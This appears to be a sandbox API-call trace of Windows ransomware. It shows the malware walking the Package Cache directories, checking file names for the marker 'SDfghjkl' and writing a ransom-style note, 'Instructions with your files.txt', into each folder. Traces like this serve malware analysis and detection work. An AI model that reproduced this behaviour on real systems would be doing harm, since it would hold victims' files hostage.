[0132.093] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0132.093] CloseHandle (hObject=0x114) returned 1
[0132.093] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0132.093] GetProcessHeap () returned 0x810000
[0132.093] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0132.094] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Instructions with your files.txt") returned 120
[0132.094] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.094] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.095] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.095] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.095] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.095] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.095] CloseHandle (hObject=0x110) returned 1
[0132.095] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.095] GetProcessHeap () returned 0x810000
[0132.095] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.095] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 75
[0132.095] GetProcessHeap () returned 0x810000
[0132.095] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.095] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned 77
[0132.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4e9fd80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4e9fd80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.096] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\.") returned 77
[0132.096] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb4e9fd80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4e9fd80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.096] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\..") returned 78
[0132.096] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c8aa40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4c8aa40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4e9fd80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.096] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Instructions with your files.txt") returned 108
[0132.096] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.096] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0132.096] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 85
[0132.096] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0132.096] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1
[0132.096] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 93
[0132.096] StrStrIW (lpFirst="VC_redist.x64.exe", lpSrch="SDfghjkl") returned 0x0
[0132.096] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0
[0132.096] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Instructions with your files.txt") returned 108
[0132.096] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.096] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.097] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.097] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.097] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.097] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.097] CloseHandle (hObject=0x110) returned 1
[0132.098] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.098] GetProcessHeap () returned 0x810000
[0132.098] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.098] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4e9fd80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4e9fd80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1
[0132.098] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 75
[0132.098] GetProcessHeap () returned 0x810000
[0132.098] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.098] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned 77
[0132.098] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4e9fd80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4e9fd80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.098] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\.") returned 77
[0132.098] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb4e9fd80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4e9fd80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.098] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\..") returned 78
[0132.098] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4e9fd80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4e9fd80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4ec5ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.098] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Instructions with your files.txt") returned 108
[0132.098] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.098] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0132.098] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 85
[0132.098] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0132.098] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
[0132.098] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 92
[0132.098] StrStrIW (lpFirst="vcredist_x86.exe", lpSrch="SDfghjkl") returned 0x0
[0132.098] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
[0132.098] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Instructions with your files.txt") returned 108
[0132.098] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.099] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.099] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.099] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0132.100] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.100] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.100] CloseHandle (hObject=0x110) returned 1
[0132.100] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.100] GetProcessHeap () returned 0x810000
[0132.100] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.100] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb4ec5ee0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4ec5ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1
[0132.100] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 75
[0132.100] GetProcessHeap () returned 0x810000
[0132.100] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0132.100] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned 77
[0132.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb4ec5ee0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4ec5ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0132.100] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\.") returned 77
[0132.100] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xb4ec5ee0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4ec5ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0132.100] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\..") returned 78
[0132.100] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ec5ee0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4ec5ee0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4ec5ee0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0132.100] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Instructions with your files.txt") returned 108
[0132.100] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0132.100] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0132.100] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned 85
[0132.100] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0132.100] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1
[0132.100] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned 93
[0132.101] StrStrIW (lpFirst="VC_redist.x86.exe", lpSrch="SDfghjkl") returned 0x0
[0132.101] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0
[0132.101] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Instructions with your files.txt") returned 108
[0132.101] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0132.101] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0132.102] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0132.102] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
